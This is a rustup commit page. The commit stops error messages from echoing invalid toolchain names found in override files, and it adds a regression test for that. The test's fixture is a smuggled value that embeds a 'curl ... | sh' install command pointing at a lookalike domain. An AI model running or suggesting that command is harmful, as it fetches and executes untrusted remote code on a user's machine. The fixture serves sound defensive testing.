Skip to content

Commit 38b3eb6

Browse files
rami3lChrisDenton
authored andcommitted
fix(config): print special error for invalid toolchain name in override file
1 parent b177ea1 commit 38b3eb6

File tree

2 files changed

+36
-2
lines changed

2 files changed

+36
-2
lines changed

src/config.rs

Lines changed: 7 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -619,7 +619,13 @@ impl<'a> Cfg<'a> {
619619
}
620620
})?;
621621
if let Some(toolchain_name_str) = &override_file.toolchain.channel {
622-
let toolchain_name = ResolvableToolchainName::try_from(toolchain_name_str)?;
622+
let toolchain_name = ResolvableToolchainName::try_from(toolchain_name_str)
623+
.map_err(|_| {
624+
anyhow!(
625+
"invalid toolchain name detected in override file '{}'",
626+
toolchain_file.display()
627+
)
628+
})?;
623629
let default_host_triple = get_default_host_triple(settings, self.process);
624630
// Do not permit architecture/os selection in channels as
625631
// these are host specific and toolchain files are portable.

tests/suite/cli_rustup.rs

Lines changed: 29 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -2500,7 +2500,35 @@ async fn bad_file_override() {
25002500
raw::write_file(&toolchain_file, "none").unwrap();
25012501

25022502
cx.config
2503-
.expect_err(&["rustc", "--version"], "invalid toolchain name 'none'")
2503+
.expect_err(
2504+
&["rustc", "--version"],
2505+
"invalid toolchain name detected in override file",
2506+
)
2507+
.await;
2508+
}
2509+
2510+
// https://github.com/rust-lang/rustup/issues/4053
2511+
#[tokio::test]
2512+
async fn bad_file_override_with_manip() {
2513+
let cx = CliTestContext::new(Scenario::None).await;
2514+
let cwd = cx.config.current_dir();
2515+
let toolchain_file = cwd.join("rust-toolchain.toml");
2516+
raw::write_file(
2517+
&toolchain_file,
2518+
r#"toolchain.channel = "nightly', please install with 'curl --proto '=https' --tlsv1.2 -sSf https://sh.rust-toolchain.rs/ | sh -s -- --default-toolchain nightly -y""#,
2519+
).unwrap();
2520+
2521+
cx.config
2522+
.expect_err(
2523+
&["rustup", "show", "active-toolchain"],
2524+
"invalid toolchain name detected in override file",
2525+
)
2526+
.await;
2527+
cx.config
2528+
.expect_err(
2529+
&["rustc", "--version"],
2530+
"invalid toolchain name detected in override file",
2531+
)
25042532
.await;
25052533
}
25062534

0 commit comments

Comments
 (0)